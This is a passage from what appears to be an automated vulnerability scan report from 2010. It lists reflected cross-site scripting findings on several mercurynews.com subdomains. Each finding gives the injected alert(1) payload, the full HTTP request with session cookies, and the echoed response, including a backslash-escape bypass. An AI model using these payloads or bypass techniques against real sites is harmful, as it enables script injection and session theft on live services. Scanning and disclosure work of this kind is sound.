The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 34def"-alert(1)-"a6f704bab09 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /xml34def"-alert(1)-"a6f704bab09/comments HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:26 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:50 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22102

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
language="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / xml34def"-alert(1)-"a6f704bab09/comments";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaig
...[SNIP]...

1.77. http://forums.mercurynews.com/xml/comments [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /xml/comments

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload df349"-alert(1)-"078e172cde1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /xml/commentsdf349"-alert(1)-"078e172cde1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:40 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:04 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22102

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / xml/commentsdf349"-alert(1)-"078e172cde1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.78. http://forums.mercurynews.com/xml/comments [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /xml/comments

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c1a8b"-alert(1)-"d726d012b6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /xml/comments?c1a8b"-alert(1)-"d726d012b6=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:19 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:43 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22068

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
"JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / xml/comments?c1a8b"-alert(1)-"d726d012b6=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.79. http://forums.mercurynews.com/xml/poll-link [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /xml/poll-link

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2ff9b"-alert(1)-"3afa300d7b5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /xml2ff9b"-alert(1)-"3afa300d7b5/poll-link HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:46 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:10 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22104

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
language="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / xml2ff9b"-alert(1)-"3afa300d7b5/poll-link";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campai
...[SNIP]...

1.80. http://forums.mercurynews.com/xml/poll-link [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /xml/poll-link

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a4083"-alert(1)-"6c029440ed4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /xml/poll-linka4083"-alert(1)-"6c029440ed4 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:00 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:24 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22104

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
"JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / xml/poll-linka4083"-alert(1)-"6c029440ed4";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.81. http://forums.mercurynews.com/xml/poll-link [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /xml/poll-link

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 82efb"-alert(1)-"694f25fe67 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /xml/poll-link?82efb"-alert(1)-"694f25fe67=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:34 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:58 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22070

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / xml/poll-link?82efb"-alert(1)-"694f25fe67=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.82. http://newspaperads.mercurynews.com/FSI/Page.aspx [version parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://newspaperads.mercurynews.com
Path:   /FSI/Page.aspx

Issue detail

The value of the version request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 454b3\'%3balert(1)//851c49b677b was submitted in the version parameter. This input was echoed as 454b3\\';alert(1)//851c49b677b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /FSI/Page.aspx?advid=200177&loc=53824&fsi=14784&version=Mercury454b3\'%3balert(1)//851c49b677b HTTP/1.1
Host: newspaperads.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; s_cc=true; ZZFLSH=29; location=53824; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 15 Nov 2010 02:09:23 GMT
Server: Microsoft-IIS/6.0
X-Server-Name: HW3
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48110


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" x
...[SNIP]...
newspaperads.mercurynews.com';

s_pageName = '';
s_channel = 'FSI';
s_prop4 = 'FSI | | - |';
s_prop3 = 'FSI |';
s_prop5 = 'FSI |';
s_prop13 = 'FSI |';
s_prop20 = 'FSI | | 53824 | | 14784 | Mercury454b3\\';alert(1)//851c49b677b | - | Page 1';
s_az.pageName = 'FSI | Page View';
s_az.channel = 'FSI';
s_az.pageType = '';
s_az.prop1 = '';
s_az.prop2 = '';
s_az.prop3 = 'FSI |';
s_az.prop4 = 'FSI | | | - |';
s_az.prop5 = 'FSI |'
...[SNIP]...

1.83. https://secure.www.mercurynews.com/portlet/registration/html/info.jsp [rFreeForm parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.www.mercurynews.com
Path:   /portlet/registration/html/info.jsp

Issue detail

The value of the rFreeForm request parameter is copied into an HTML comment. The payload c15c0--><script>alert(1)</script>f18d1ae576c was submitted in the rFreeForm parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /portlet/registration/html/info.jsp?rFreeForm=8101685c15c0--><script>alert(1)</script>f18d1ae576c HTTP/1.1
Host: secure.www.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Mon, 15 Nov 2010 02:09:35 GMT
Server: Apache/2.0.52 (Red Hat)
X-ATG-Version: ATGPlatform/7.1p2 [ DASLicense/0 DPSLicense/0 DSSLicense/0 PortalLicense/0 ]
Set-Cookie: JSESSIONID=ZWT54CTJMPJ20CUUCBWCFFA; path=/
Pragma: no-cache
Cache-Control: no-cache
Expires: Tue, 04 Dec 1993 21:29:02 GMT
Content-Length: 1676
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><script><!--
           window.focus();
       //--></script><link type="text/css" rel="stylesheet" href='https://secure.extras.mnginteractive.com/live/css/MNGiDefaultStyles.css'><script>
           function o
...[SNIP]...
<!-- BEGIN FREEFORM RENDER, ID 8101685c15c0--><script>alert(1)</script>f18d1ae576c -->
...[SNIP]...

1.84. https://secure.www.mercurynews.com/registration/ [rPage parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.www.mercurynews.com
Path:   /registration/

Issue detail

The value of the rPage request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6fb02</script><script>alert(1)</script>47f9d8515fe was submitted in the rPage parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /registration/?rPage=login6fb02</script><script>alert(1)</script>47f9d8515fe&url=http%3A%2F%2Fwww.mercurynews.com%2F&eRightsSessionExpired=true HTTP/1.1
Host: secure.www.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Mon, 15 Nov 2010 02:09:38 GMT
Server: Apache/2.0.52 (Red Hat)
Set-Cookie: JSESSIONID=0QISC2X0JL2UMCUUCBWCFFI; path=/
Pragma: no-cache
Cache-Control: no-cache
Expires: Tue, 04 Dec 1993 21:29:02 GMT
Content-Language: en-US
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><META NAME='description' CONTENT='Registration'><title>Registration - San Jose Mercury News</title><!-- get profile info --><
...[SNIP]...
rBrand = getBrand2(s_account);
var PageName = "Registration";
var SectionName = "Registration";
var ArticleTitle = "null";
           var FriendlyName = "Registration: login6fb02</script><script>alert(1)</script>47f9d8515fe";
           var domainName = getDomainName();
           userObj = new omniObj();
           userObj.load();
           userObj.update();
           userObj.save();
/* You may give each page an identifying name, server, and cha
...[SNIP]...

1.85. https://secure.www.mercurynews.com/registration/ [url parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.www.mercurynews.com
Path:   /registration/

Issue detail

The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 586df"><script>alert(1)</script>cb76424f007 was submitted in the url parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /registration/?rPage=login&url=http%3A%2F%2Fwww.mercurynews.com%2F586df"><script>alert(1)</script>cb76424f007&eRightsSessionExpired=true HTTP/1.1
Host: secure.www.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Mon, 15 Nov 2010 02:09:39 GMT
Server: Apache/2.0.52 (Red Hat)
Set-Cookie: JSESSIONID=XBSY2AYHL45GQCUUCAWSFEY; path=/
Pragma: no-cache
Cache-Control: no-cache
Expires: Tue, 04 Dec 1993 21:29:02 GMT
Content-Language: en-US
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><META NAME='description' CONTENT='Registration'><title>Registration - San Jose Mercury News</title><!-- get profile info --><
...[SNIP]...
<a href="/registration?rPage=register&url=http://www.mercurynews.com/586df"><script>alert(1)</script>cb76424f007&register=yes">
...[SNIP]...

1.86. http://weather.mercurynews.com/cgi-bin/findweather/getForecast [brand parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.mercurynews.com
Path:   /cgi-bin/findweather/getForecast

Issue detail

The value of the brand request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be8ab"><script>alert(1)</script>bb838291dac was submitted in the brand parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cgi-bin/findweather/getForecast?brand=mercurynewsbe8ab"><script>alert(1)</script>bb838291dac&query=san+jose&searchbutton.x=8&searchbutton.y=8&searchbutton=Search HTTP/1.1
Host: weather.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; ASC=1289776044:1; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:10:46 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.060
Set-Cookie: ASC=1289787046:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 25776


<HTML>
<head>
<title>Weather </title>
</head>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
   <head>
       <meta HTTP-EQUIV="Pragma" CONTENT"no-cache">
       <title>San Jose Mercury N
...[SNIP]...
<a href="/auto/mercurynewsbe8ab"><script>alert(1)</script>bb838291dac/CA/San_Jose.html" OnClick='Set_Cookie( "DefLoc", "95101", 365, "/", "mercurynews.com", "");'>
...[SNIP]...

1.87. http://www.mercurynews.com/mngi/tracking/track [c parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mercurynews.com
Path:   /mngi/tracking/track

Issue detail

The value of the c request parameter is copied into the HTML document as plain text between tags. The payload f07b5<script>alert(1)</script>7962c56bc63 was submitted in the c parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mngi/tracking/track?s=568&c=16611270f07b5<script>alert(1)</script>7962c56bc63&t=VIEWED&n=1 HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/breaking-news/ci_16611270?nclick_check=1
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: EMETA_COOKIE_CHECK_MNGI=1; EMETA_NCLICK_MNGI=1; JSESSIONID=HVV3QOIIU1YGYCUUCAXCFEY; UserID=HVV3QOIIU1YGYCUUCAXCFEY; fPage=true; u=COOKIE_NAME%3Du%3BuserIdChange%3Dtrue%3BuserId%3DHVV3QOIIU1YGYCUUCAXCFEY%3BconPage%3Dfalse%3BaaPage%3Dfalse%3BloginConPage%3Dfalse%3BfPage%3Dtrue%3BfVisit%3Dtrue%3BvType%3D1%3BlVisit%3D1289775673869%3BcVisit%3D1289775673869%3BinitRegType%3DVoluntary%3B; currBrandCheck=mngimercurynews; UserType=Browser; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
X-ATG-Version: ATGPlatform/7.1p2 [ DASLicense/0 DPSLicense/0 DSSLicense/0 PortalLicense/0 ]
Vary: Accept-encoding
Expires: Sun, 14 Nov 2010 23:06:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 14 Nov 2010 23:06:02 GMT
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 147

TrackingServlet.service(), siteId = 568, contentId = 16611270f07b5<script>alert(1)</script>7962c56bc63, typeId = VIEWED, number = 1, result = true

1.88. http://www.mercurynews.com/mngi/tracking/track [n parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mercurynews.com
Path:   /mngi/tracking/track

Issue detail

The value of the n request parameter is copied into the HTML document as plain text between tags. The payload 1f326<script>alert(1)</script>42f179eed7a was submitted in the n parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mngi/tracking/track?s=568&c=16611270&t=VIEWED&n=11f326<script>alert(1)</script>42f179eed7a HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/breaking-news/ci_16611270?nclick_check=1
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: EMETA_COOKIE_CHECK_MNGI=1; EMETA_NCLICK_MNGI=1; JSESSIONID=HVV3QOIIU1YGYCUUCAXCFEY; UserID=HVV3QOIIU1YGYCUUCAXCFEY; fPage=true; u=COOKIE_NAME%3Du%3BuserIdChange%3Dtrue%3BuserId%3DHVV3QOIIU1YGYCUUCAXCFEY%3BconPage%3Dfalse%3BaaPage%3Dfalse%3BloginConPage%3Dfalse%3BfPage%3Dtrue%3BfVisit%3Dtrue%3BvType%3D1%3BlVisit%3D1289775673869%3BcVisit%3D1289775673869%3BinitRegType%3DVoluntary%3B; currBrandCheck=mngimercurynews; UserType=Browser; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
X-ATG-Version: ATGPlatform/7.1p2 [ DASLicense/0 DPSLicense/0 DSSLicense/0 PortalLicense/0 ]
Vary: Accept-encoding
Expires: Sun, 14 Nov 2010 23:06:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 14 Nov 2010 23:06:07 GMT
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 147

TrackingServlet.service(), siteId = 568, contentId = 16611270, typeId = VIEWED, number = 11f326<script>alert(1)</script>42f179eed7a, result = true

1.89. http://www.mercurynews.com/mngi/tracking/track [s parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mercurynews.com
Path:   /mngi/tracking/track

Issue detail

The value of the s request parameter is copied into the HTML document as plain text between tags. The payload a6ad2<script>alert(1)</script>0e367d1dc82 was submitted in the s parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mngi/tracking/track?s=568a6ad2<script>alert(1)</script>0e367d1dc82&c=16611270&t=VIEWED&n=1 HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/breaking-news/ci_16611270?nclick_check=1
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.mercurynews.com
Proxy-Connection: Keep-Alive
